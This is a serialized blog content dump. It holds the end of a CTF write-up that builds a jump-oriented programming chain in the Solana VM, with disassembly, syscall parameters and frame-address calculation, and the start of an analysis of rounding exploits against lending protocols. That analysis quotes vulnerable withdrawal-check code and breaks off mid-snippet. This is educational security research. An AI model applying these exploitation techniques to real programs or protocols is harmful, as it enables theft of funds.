79a1c8ff00000000",{"type":25,"tag":201,"props":46178,"children":46179},{"style":246},[46180],{"type":31,"value":45201},{"type":25,"tag":201,"props":46182,"children":46183},{"style":246},[46184],{"type":31,"value":45495},{"type":25,"tag":201,"props":46186,"children":46187},{"style":220},[46188],{"type":31,"value":45211},{"type":25,"tag":201,"props":46190,"children":46191},{"style":246},[46192],{"type":31,"value":45216},{"type":25,"tag":201,"props":46194,"children":46195},{"style":261},[46196],{"type":31,"value":5832},{"type":25,"tag":201,"props":46198,"children":46199},{"style":426},[46200],{"type":31,"value":46201},"56",{"type":25,"tag":201,"props":46203,"children":46204},{"style":220},[46205],{"type":31,"value":45230},{"type":25,"tag":201,"props":46207,"children":46208},{"style":246},[46209],{"type":31,"value":46210},"var_38",{"type":25,"tag":201,"props":46212,"children":46213},{"style":220},[46214],{"type":31,"value":1187},{"type":25,"tag":201,"props":46216,"children":46217},{"class":203,"line":765},[46218,46223,46227,46231,46235,46239],{"type":25,"tag":201,"props":46219,"children":46220},{"style":246},[46221],{"type":31,"value":46222},"100001c58",{"type":25,"tag":201,"props":46224,"children":46225},{"style":246},[46226],{"type":31,"value":46014},{"type":25,"tag":201,"props":46228,"children":46229},{"style":246},[46230],{"type":31,"value":45490},{"type":25,"tag":201,"props":46232,"children":46233},{"style":246},[46234],{"type":31,"value":45261},{"type":25,"tag":201,"props":46236,"children":46237},{"style":220},[46238],{"type":31,"value":919},{"type":25,"tag":201,"props":46240,"children":46241},{"style":426},[46242],{"type":31,"value":46031},{"type":25,"tag":201,"props":46244,"children":46245},{"class":203,"line":783},[46246,46251,46256,46260],{"type":25,"tag":201,"props":46247,"children":46248},{"style":246},[46249],{"type":31,"value":46250},"100001c60",{"type":25,"tag":201,"props":46252,"children":46253},{"style":246},[46254],{"type":31,"value":46255},"  85100000fefdffff",{"type":25,"tag":201,"props":46257,"children":46258},{"style":246},[46259],{"type":31,"value":45412},{"type":25,"tag":201,"props":46261,"children":46262},{"style":246},[46263],{"type":31,"value":46053},{"type":25,"tag":201,"props":46265,"children":46266},{"class":203,"line":792},[46267],{"type":25,"tag":201,"props":46268,"children":46269},{"emptyLinePlaceholder":17},[46270],{"type":31,"value":496},{"type":25,"tag":201,"props":46272,"children":46273},{"class":203,"line":801},[46274,46279,46284,46289,46294,46299],{"type":25,"tag":201,"props":46275,"children":46276},{"style":246},[46277],{"type":31,"value":46278},"100001c68",{"type":25,"tag":201,"props":46280,"children":46281},{"style":426},[46282],{"type":31,"value":46283},"  9500000000000000",{"type":25,"tag":201,"props":46285,"children":46286},{"style":246},[46287],{"type":31,"value":46288},"   exit",{"type":25,"tag":201,"props":46290,"children":46291},{"style":220},[46292],{"type":31,"value":46293}," {",{"type":25,"tag":201,"props":46295,"children":46296},{"style":246},[46297],{"type":31,"value":46298},"__return_addr",{"type":25,"tag":201,"props":46300,"children":46301},{"style":220},[46302],{"type":31,"value":1187},{"type":25,"tag":34,"props":46304,"children":46305},{},[46306,46308,46314],{"type":31,"value":46307},"Which, assuming that ",{"type":25,"tag":115,"props":46309,"children":46311},{"className":46310},[],[46312],{"type":31,"value":46313},"sol_invoke_signed_rust",{"type":31,"value":46315}," returns 0, is doing the following:",{"type":25,"tag":6944,"props":46317,"children":46318},{},[46319,46328,46337],{"type":25,"tag":6948,"props":46320,"children":46321},{},[46322],{"type":25,"tag":115,"props":46323,"children":46325},{"className":46324},[],[46326],{"type":31,"value":46327},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":25,"tag":6948,"props":46329,"children":46330},{},[46331],{"type":25,"tag":115,"props":46332,"children":46334},{"className":46333},[],[46335],{"type":31,"value":46336},"*[r10-120] = 0x18",{"type":25,"tag":6948,"props":46338,"children":46339},{},[46340,46342,46348,46350,46357],{"type":31,"value":46341},"Calls ",{"type":25,"tag":115,"props":46343,"children":46345},{"className":46344},[],[46346],{"type":31,"value":46347},"__rust_dealloc",{"type":31,"value":46349},", which in default circumstances is a ",{"type":25,"tag":71,"props":46351,"children":46354},{"href":46352,"rel":46353},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[75],[46355],{"type":31,"value":46356},"NOP",{"type":31,"value":80},{"type":25,"tag":34,"props":46359,"children":46360},{},[46361],{"type":31,"value":46362},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":25,"tag":34,"props":46364,"children":46365},{},[46366],{"type":31,"value":46367},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":25,"tag":34,"props":46369,"children":46370},{},[46371,46373,46380],{"type":31,"value":46372},"Looking at the ",{"type":25,"tag":71,"props":46374,"children":46377},{"href":46375,"rel":46376},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[75],[46378],{"type":31,"value":46379},"definition",{"type":31,"value":46381},", it's not crystal clear what the parameters are:",{"type":25,"tag":191,"props":46383,"children":46385},{"className":4487,"code":46384,"language":4486,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[46386],{"type":25,"tag":115,"props":46387,"children":46388},{"__ignoreMap":7},[46389],{"type":25,"tag":201,"props":46390,"children":46391},{"class":203,"line":204},[46392,46396,46401,46405,46410,46414,46418,46422,46426,46430,46435,46439,46443,46447,46451,46455,46460,46464,46468,46472,46477,46481,46485,46489,46493,46497,46502,46506,46510,46514,46518],{"type":25,"tag":201,"props":46393,"children":46394},{"style":208},[46395],{"type":31,"value":21763},{"type":25,"tag":201,"props":46397,"children":46398},{"style":214},[46399],{"type":31,"value":46400}," sol_invoke_signed_rust",{"type":25,"tag":201,"props":46402,"children":46403},{"style":220},[46404],{"type":31,"value":298},{"type":25,"tag":201,"props":46406,"children":46407},{"style":246},[46408],{"type":31,"value":46409},"instruction_addr",{"type":25,"tag":201,"props":46411,"children":46412},{"style":261},[46413],{"type":31,"value":5997},{"type":25,"tag":201,"props":46415,"children":46416},{"style":261},[46417],{"type":31,"value":11319},{"type":25,"tag":201,"props":46419,"children":46420},{"style":208},[46421],{"type":31,"value":4074},{"type":25,"tag":201,"props":46423,"children":46424},{"style":4925},[46425],{"type":31,"value":16136},{"type":25,"tag":201,"props":46427,"children":46428},{"style":220},[46429],{"type":31,"value":919},{"type":25,"tag":201,"props":46431,"children":46432},{"style":246},[46433],{"type":31,"value":46434},"account_infos_addr",{"type":25,"tag":201,"props":46436,"children":46437},{"style":261},[46438],{"type":31,"value":5997},{"type":25,"tag":201,"props":46440,"children":46441},{"style":261},[46442],{"type":31,"value":11319},{"type":25,"tag":201,"props":46444,"children":46445},{"style":208},[46446],{"type":31,"value":4074},{"type":25,"tag":201,"props":46448,"children":46449},{"style":4925},[46450],{"type":31,"value":16136},{"type":25,"tag":201,"props":46452,"children":46453},{"style":220},[46454],{"type":31,"value":919},{"type":25,"tag":201,"props":46456,"children":46457},{"style":246},[46458],{"type":31,"value":46459},"account_infos_len",{"type":25,"tag":201,"props":46461,"children":46462},{"style":261},[46463],{"type":31,"value":5997},{"type":25,"tag":201,"props":46465,"children":46466},{"style":4925},[46467],{"type":31,"value":7369},{"type":25,"tag":201,"props":46469,"children":46470},{"style":220},[46471],{"type":31,"value":919},{"type":25,"tag":201,"props":46473,"children":46474},{"style":246},[46475],{"type":31,"value":46476},"signers_seeds_addr",{"type":25,"tag":201,"props":46478,"children":46479},{"style":261},[46480],{"type":31,"value":5997},{"type":25,"tag":201,"props":46482,"children":46483},{"style":261},[46484],{"type":31,"value":11319},{"type":25,"tag":201,"props":46486,"children":46487},{"style":208},[46488],{"type":31,"value":4074},{"type":25,"tag":201,"props":46490,"children":46491},{"style":4925},[46492],{"type":31,"value":16136},{"type":25,"tag":201,"props":46494,"children":46495},{"style":220},[46496],{"type":31,"value":919},{"type":25,"tag":201,"props":46498,"children":46499},{"style":246},[46500],{"type":31,"value":46501},"signers_seeds_len",{"type":25,"tag":201,"props":46503,"children":46504},{"style":261},[46505],{"type":31,"value":5997},{"type":25,"tag":201,"props":46507,"children":46508},{"style":4925},[46509],{"type":31,"value":7369},{"type":25,"tag":201,"props":46511,"children":46512},{"style":220},[46513],{"type":31,"value":385},{"type":25,"tag":201,"props":46515,"children":46516},{"style":261},[46517],{"type":31,"value":15259},{"type":25,"tag":201,"props":46519,"children":46520},{"style":4925},[46521],{"type":31,"value":14699},{"type":25,"tag":34,"props":46523,"children":46524},{},[46525,46527,46532,46534,46541],{"type":31,"value":46526},"The source of ",{"type":25,"tag":71,"props":46528,"children":46530},{"href":46529},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[46531],{"type":31,"value":45142},{"type":31,"value":46533}," helps a lot, but looking at the actual ",{"type":25,"tag":71,"props":46535,"children":46538},{"href":46536,"rel":46537},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[75],[46539],{"type":31,"value":46540},"implementation",{"type":31,"value":46542}," provides more clarity:",{"type":25,"tag":18183,"props":46544,"children":46545},{},[46546],{"type":25,"tag":6948,"props":46547,"children":46548},{},[46549,46554,46556,46563],{"type":25,"tag":115,"props":46550,"children":46552},{"className":46551},[],[46553],{"type":31,"value":46409},{"type":31,"value":46555}," points to a ",{"type":25,"tag":71,"props":46557,"children":46560},{"href":46558,"rel":46559},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[75],[46561],{"type":31,"value":46562},"StableInstruction",{"type":31,"value":5997},{"type":25,"tag":34,"props":46565,"children":46566},{},[46567],{"type":25,"tag":127,"props":46568,"children":46570},{"alt":46562,"src":46569},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":25,"tag":18183,"props":46572,"children":46573},{},[46574,46599],{"type":25,"tag":6948,"props":46575,"children":46576},{},[46577,46582,46584,46589,46591,46598],{"type":25,"tag":115,"props":46578,"children":46580},{"className":46579},[],[46581],{"type":31,"value":46434},{"type":31,"value":46583}," points to a slice of ",{"type":25,"tag":115,"props":46585,"children":46587},{"className":46586},[],[46588],{"type":31,"value":46459},{"type":31,"value":46590},"  ",{"type":25,"tag":71,"props":46592,"children":46595},{"href":46593,"rel":46594},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[75],[46596],{"type":31,"value":46597},"AccountInfos",{"type":31,"value":80},{"type":25,"tag":6948,"props":46600,"children":46601},{},[46602,46607,46609,46614,46616,46621],{"type":25,"tag":115,"props":46603,"children":46605},{"className":46604},[],[46606],{"type":31,"value":46476},{"type":31,"value":46608}," is a bit trickier, it points to a slice of length ",{"type":25,"tag":115,"props":46610,"children":46612},{"className":46611},[],[46613],{"type":31,"value":46501},{"type":31,"value":46615},", containing slices of ",{"type":25,"tag":115,"props":46617,"children":46619},{"className":46618},[],[46620],{"type":31,"value":4928},{"type":31,"value":80},{"type":25,"tag":34,"props":46623,"children":46624},{},[46625],{"type":25,"tag":127,"props":46626,"children":46629},{"alt":46627,"src":46628},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":25,"tag":34,"props":46631,"children":46632},{},[46633,46635,46640],{"type":31,"value":46634},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":25,"tag":65,"props":46636,"children":46637},{},[46638],{"type":31,"value":46639},"future call frames",{"type":31,"value":80},{"type":25,"tag":34,"props":46642,"children":46643},{},[46644,46646,46653],{"type":31,"value":46645},"Now that we have all the parts, all we need is to string it together. The full ",{"type":25,"tag":71,"props":46647,"children":46650},{"href":46648,"rel":46649},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[75],[46651],{"type":31,"value":46652},"reference solution can be found here",{"type":31,"value":80},{"type":25,"tag":34,"props":46655,"children":46656},{},[46657],{"type":31,"value":46658},"Here's a visualization of the final JOP chain.",{"type":25,"tag":191,"props":46660,"children":46662},{"className":45024,"code":46661,"language":45026,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[46663],{"type":25,"tag":115,"props":46664,"children":46665},{"__ignoreMap":7},[46666,46674,46681,46688,46696,46703,46711,46719,46727,46735,46743,46751,46759,46767,46775],{"type":25,"tag":201,"props":46667,"children":46668},{"class":203,"line":204},[46669],{"type":25,"tag":201,"props":46670,"children":46671},{},[46672],{"type":31,"value":46673},"graph BT\n",{"type":25,"tag":201,"props":46675,"children":46676},{"class":203,"line":226},[46677],{"type":25,"tag":201,"props":46678,"children":46679},{},[46680],{"type":31,"value":45046},{"type":25,"tag":201,"props":46682,"children":46683},{"class":203,"line":278},[46684],{"type":25,"tag":201,"props":46685,"children":46686},{},[46687],{"type":31,"value":45054},{"type":25,"tag":201,"props":46689,"children":46690},{"class":203,"line":311},[46691],{"type":25,"tag":201,"props":46692,"children":46693},{},[46694],{"type":31,"value":46695},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":25,"tag":201,"props":46697,"children":46698},{"class":203,"line":330},[46699],{"type":25,"tag":201,"props":46700,"children":46701},{},[46702],{"type":31,"value":45070},{"type":25,"tag":201,"props":46704,"children":46705},{"class":203,"line":397},[46706],{"type":25,"tag":201,"props":46707,"children":46708},{},[46709],{"type":31,"value":46710},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":25,"tag":201,"props":46712,"children":46713},{"class":203,"line":437},[46714],{"type":25,"tag":201,"props":46715,"children":46716},{},[46717],{"type":31,"value":46718},"    E --> G[4: process]\n",{"type":25,"tag":201,"props":46720,"children":46721},{"class":203,"line":464},[46722],{"type":25,"tag":201,"props":46723,"children":46724},{},[46725],{"type":31,"value":46726},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":25,"tag":201,"props":46728,"children":46729},{"class":203,"line":490},[46730],{"type":25,"tag":201,"props":46731,"children":46732},{},[46733],{"type":31,"value":46734},"    G --> I[5: process]\n",{"type":25,"tag":201,"props":46736,"children":46737},{"class":203,"line":499},[46738],{"type":25,"tag":201,"props":46739,"children":46740},{},[46741],{"type":31,"value":46742},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":25,"tag":201,"props":46744,"children":46745},{"class":203,"line":522},[46746],{"type":25,"tag":201,"props":46747,"children":46748},{},[46749],{"type":31,"value":46750},"    I --> K[6: process]\n",{"type":25,"tag":201,"props":46752,"children":46753},{"class":203,"line":531},[46754],{"type":25,"tag":201,"props":46755,"children":46756},{},[46757],{"type":31,"value":46758},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":25,"tag":201,"props":46760,"children":46761},{"class":203,"line":550},[46762],{"type":25,"tag":201,"props":46763,"children":46764},{},[46765],{"type":31,"value":46766},"    K --> N[7: process]\n",{"type":25,"tag":201,"props":46768,"children":46769},{"class":203,"line":563},[46770],{"type":25,"tag":201,"props":46771,"children":46772},{},[46773],{"type":31,"value":46774},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":25,"tag":201,"props":46776,"children":46777},{"class":203,"line":572},[46778],{"type":25,"tag":201,"props":46779,"children":46780},{},[46781],{"type":31,"value":46782},"    N --> O[8: Write 0x4337 to the account]\n",{"type":25,"tag":34,"props":46784,"children":46785},{},[46786,46788,46794],{"type":31,"value":46787},"Small note: ",{"type":25,"tag":115,"props":46789,"children":46791},{"className":46790},[],[46792],{"type":31,"value":46793},"target_r10",{"type":31,"value":46795}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":25,"tag":191,"props":46797,"children":46799},{"className":4487,"code":46798,"language":4486,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[46800],{"type":25,"tag":115,"props":46801,"children":46802},{"__ignoreMap":7},[46803,46848,46883,46890],{"type":25,"tag":201,"props":46804,"children":46805},{"class":203,"line":204},[46806,46810,46815,46819,46824,46828,46832,46836,46840,46844],{"type":25,"tag":201,"props":46807,"children":46808},{"style":208},[46809],{"type":31,"value":21763},{"type":25,"tag":201,"props":46811,"children":46812},{"style":214},[46813],{"type":31,"value":46814}," call_frame_addr",{"type":25,"tag":201,"props":46816,"children":46817},{"style":220},[46818],{"type":31,"value":298},{"type":25,"tag":201,"props":46820,"children":46821},{"style":246},[46822],{"type":31,"value":46823},"depth",{"type":25,"tag":201,"props":46825,"children":46826},{"style":261},[46827],{"type":31,"value":5997},{"type":25,"tag":201,"props":46829,"children":46830},{"style":4925},[46831],{"type":31,"value":7369},{"type":25,"tag":201,"props":46833,"children":46834},{"style":220},[46835],{"type":31,"value":385},{"type":25,"tag":201,"props":46837,"children":46838},{"style":261},[46839],{"type":31,"value":15259},{"type":25,"tag":201,"props":46841,"children":46842},{"style":4925},[46843],{"type":31,"value":7369},{"type":25,"tag":201,"props":46845,"children":46846},{"style":220},[46847],{"type":31,"value":327},{"type":25,"tag":201,"props":46849,"children":46850},{"class":203,"line":226},[46851,46856,46860,46865,46869,46874,46878],{"type":25,"tag":201,"props":46852,"children":46853},{"style":426},[46854],{"type":31,"value":46855},"    0x200000000",{"type":25,"tag":201,"props":46857,"children":46858},{"style":261},[46859],{"type":31,"value":10412},{"type":25,"tag":201,"props":46861,"children":46862},{"style":426},[46863],{"type":31,"value":46864}," 0x2000",{"type":25,"tag":201,"props":46866,"children":46867},{"style":261},[46868],{"type":31,"value":11319},{"type":25,"tag":201,"props":46870,"children":46871},{"style":246},[46872],{"type":31,"value":46873}," depth",{"type":25,"tag":201,"props":46875,"children":46876},{"style":261},[46877],{"type":31,"value":10412},{"type":25,"tag":201,"props":46879,"children":46880},{"style":426},[46881],{"type":31,"value":46882}," 0x1000\n",{"type":25,"tag":201,"props":46884,"children":46885},{"class":203,"line":278},[46886],{"type":25,"tag":201,"props":46887,"children":46888},{"style":220},[46889],{"type":31,"value":1187},{"type":25,"tag":201,"props":46891,"children":46892},{"class":203,"line":311},[46893],{"type":25,"tag":201,"props":46894,"children":46895},{"style":4497},[46896],{"type":31,"value":46897},"// call_frame_addr(8) = 0x200011000\n",{"type":25,"tag":26,"props":46899,"children":46900},{"id":4323},[46901],{"type":31,"value":4326},{"type":25,"tag":34,"props":46903,"children":46904},{},[46905,46907,46914],{"type":31,"value":46906},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":25,"tag":71,"props":46908,"children":46911},{"href":46909,"rel":46910},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[75],[46912],{"type":31,"value":46913},"they do exist",{"type":31,"value":80},{"type":25,"tag":34,"props":46916,"children":46917},{},[46918],{"type":31,"value":46919},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":25,"tag":34,"props":46921,"children":46922},{},[46923,46925,46930],{"type":31,"value":46924},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":25,"tag":65,"props":46926,"children":46927},{},[46928],{"type":31,"value":46929},"entire",{"type":31,"value":46931}," runtime.",{"type":25,"tag":4349,"props":46933,"children":46934},{},[46935],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":46937},[46938,46942,46943,46946],{"id":20455,"depth":226,"text":20458,"children":46939},[46940,46941],{"id":41612,"depth":278,"text":41615},{"id":42931,"depth":278,"text":42934},{"id":44170,"depth":226,"text":44173},{"id":45006,"depth":226,"text":45009,"children":46944},[46945],{"id":45120,"depth":278,"text":45123},{"id":4323,"depth":226,"text":4326},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":46951,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46952,"description":46953,"author":46954,"image":46955,"date":46957,"isFeatured":17,"onBlogPage":17,"body":46958,"_type":4371,"_id":48104,"_source":4373,"_file":48105,"_stem":48106,"_extension":4376},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[7229],{"src":46956},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":22,"children":46959,"toc":48093},[46960,46964,46992,46997,47010,47015,47021,47026,47031,47036,47041,47054,47066,47086,47106,47111,47116,47134,47140,47145,47151,47165,47178,47183,47189,47203,47208,47230,47463,47468,47473,47486,47726,47736,47741,47747,47752,47757,47790,47795,47806,47812,47817,47831,47959,47973,48049,48054,48065,48070,48075,48079,48084,48089],{"type":25,"tag":26,"props":46961,"children":46962},{"id":28},[46963],{"type":31,"value":32},{"type":25,"tag":34,"props":46965,"children":46966},{},[46967,46969,46976,46977,46984,46986,46991],{"type":31,"value":46968},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":25,"tag":71,"props":46970,"children":46973},{"href":46971,"rel":46972},"https://neodyme.io/de/blog/lending_disclosure",[75],[46974],{"type":31,"value":46975},"fast",{"type":31,"value":919},{"type":25,"tag":71,"props":46978,"children":46981},{"href":46979,"rel":46980},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[75],[46982],{"type":31,"value":46983},"cheap",{"type":31,"value":46985}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":25,"tag":65,"props":46987,"children":46988},{},[46989],{"type":31,"value":46990},"Most people haven't considered what happens when shares are worth a lot",{"type":31,"value":80},{"type":25,"tag":34,"props":46993,"children":46994},{},[46995],{"type":31,"value":46996},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":25,"tag":6944,"props":46998,"children":46999},{},[47000,47005],{"type":25,"tag":6948,"props":47001,"children":47002},{},[47003],{"type":31,"value":47004},"Inflate share value (token to share conversion rate)",{"type":25,"tag":6948,"props":47006,"children":47007},{},[47008],{"type":31,"value":47009},"Exploit rounding bug",{"type":25,"tag":34,"props":47011,"children":47012},{},[47013],{"type":31,"value":47014},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":25,"tag":26,"props":47016,"children":47018},{"id":47017},"model",[47019],{"type":31,"value":47020},"Model",{"type":25,"tag":34,"props":47022,"children":47023},{},[47024],{"type":31,"value":47025},"Before we dive in, there's some helpful background information we'll share first.",{"type":25,"tag":34,"props":47027,"children":47028},{},[47029],{"type":31,"value":47030},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":25,"tag":34,"props":47032,"children":47033},{},[47034],{"type":31,"value":47035},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":25,"tag":34,"props":47037,"children":47038},{},[47039],{"type":31,"value":47040},"This question is more complex than it may appear. Let's walk through an example.",{"type":25,"tag":34,"props":47042,"children":47043},{},[47044,47046,47052],{"type":31,"value":47045},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":25,"tag":115,"props":47047,"children":47049},{"className":47048},[],[47050],{"type":31,"value":47051},"1000:1000",{"type":31,"value":47053}," (1000 tokens to 1000 shares).",{"type":25,"tag":34,"props":47055,"children":47056},{},[47057,47059,47065],{"type":31,"value":47058},"After accruing fees, the pool gains one token for a new ratio of ",{"type":25,"tag":115,"props":47060,"children":47062},{"className":47061},[],[47063],{"type":31,"value":47064},"1001:1000",{"type":31,"value":80},{"type":25,"tag":34,"props":47067,"children":47068},{},[47069,47071,47077,47079,47084],{"type":31,"value":47070},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":25,"tag":115,"props":47072,"children":47074},{"className":47073},[],[47075],{"type":31,"value":47076},"1001/1000*999 = 999.999",{"type":31,"value":47078},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":25,"tag":65,"props":47080,"children":47081},{},[47082],{"type":31,"value":47083},"down",{"type":31,"value":47085}," against the user.",{"type":25,"tag":34,"props":47087,"children":47088},{},[47089,47091,47097,47099,47105],{"type":31,"value":47090},"If we give the user 999 tokens, the new pool state is ",{"type":25,"tag":115,"props":47092,"children":47094},{"className":47093},[],[47095],{"type":31,"value":47096},"2:1",{"type":31,"value":47098},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":25,"tag":115,"props":47100,"children":47102},{"className":47101},[],[47103],{"type":31,"value":47104},"3:1",{"type":31,"value":80},{"type":25,"tag":34,"props":47107,"children":47108},{},[47109],{"type":31,"value":47110},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":25,"tag":34,"props":47112,"children":47113},{},[47114],{"type":31,"value":47115},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":25,"tag":6944,"props":47117,"children":47118},{},[47119,47124,47129],{"type":25,"tag":6948,"props":47120,"children":47121},{},[47122],{"type":31,"value":47123},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":25,"tag":6948,"props":47125,"children":47126},{},[47127],{"type":31,"value":47128},"When you withdraw, are you withdrawing shares or tokens?",{"type":25,"tag":6948,"props":47130,"children":47131},{},[47132],{"type":31,"value":47133},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":25,"tag":26,"props":47135,"children":47137},{"id":47136},"decisions",[47138],{"type":31,"value":47139},"Decisions",{"type":25,"tag":34,"props":47141,"children":47142},{},[47143],{"type":31,"value":47144},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":25,"tag":40,"props":47146,"children":47148},{"id":47147},"radiant-capital",[47149],{"type":31,"value":47150},"Radiant Capital",{"type":25,"tag":34,"props":47152,"children":47153},{},[47154,47156,47163],{"type":31,"value":47155},"Radiant Capital was ",{"type":25,"tag":71,"props":47157,"children":47160},{"href":47158,"rel":47159},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[75],[47161],{"type":31,"value":47162},"hacked on Jan 2nd",{"type":31,"value":47164}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":25,"tag":34,"props":47166,"children":47167},{},[47168,47170,47177],{"type":31,"value":47169},"The exploit is relatively straightforward and ",{"type":25,"tag":71,"props":47171,"children":47174},{"href":47172,"rel":47173},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[75],[47175],{"type":31,"value":47176},"has already been covered previously",{"type":31,"value":80},{"type":25,"tag":34,"props":47179,"children":47180},{},[47181],{"type":31,"value":47182},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":25,"tag":40,"props":47184,"children":47186},{"id":47185},"wise-lending",[47187],{"type":31,"value":47188},"Wise Lending",{"type":25,"tag":34,"props":47190,"children":47191},{},[47192,47194,47201],{"type":31,"value":47193},"Wise Lending was ",{"type":25,"tag":71,"props":47195,"children":47198},{"href":47196,"rel":47197},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[75],[47199],{"type":31,"value":47200},"hacked on January 13th",{"type":31,"value":47202}," for just under $460,000.",{"type":25,"tag":34,"props":47204,"children":47205},{},[47206],{"type":31,"value":47207},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":25,"tag":34,"props":47209,"children":47210},{},[47211,47213,47220,47222,47229],{"type":31,"value":47212},"This is ",{"type":25,"tag":71,"props":47214,"children":47217},{"href":47215,"rel":47216},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[75],[47218],{"type":31,"value":47219},"the code responsible",{"type":31,"value":47221}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":25,"tag":71,"props":47223,"children":47226},{"href":47224,"rel":47225},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[75],[47227],{"type":31,"value":47228},"no way to atomically self-bankrupt",{"type":31,"value":80},{"type":25,"tag":191,"props":47231,"children":47233},{"className":5980,"code":47232,"language":5979,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert 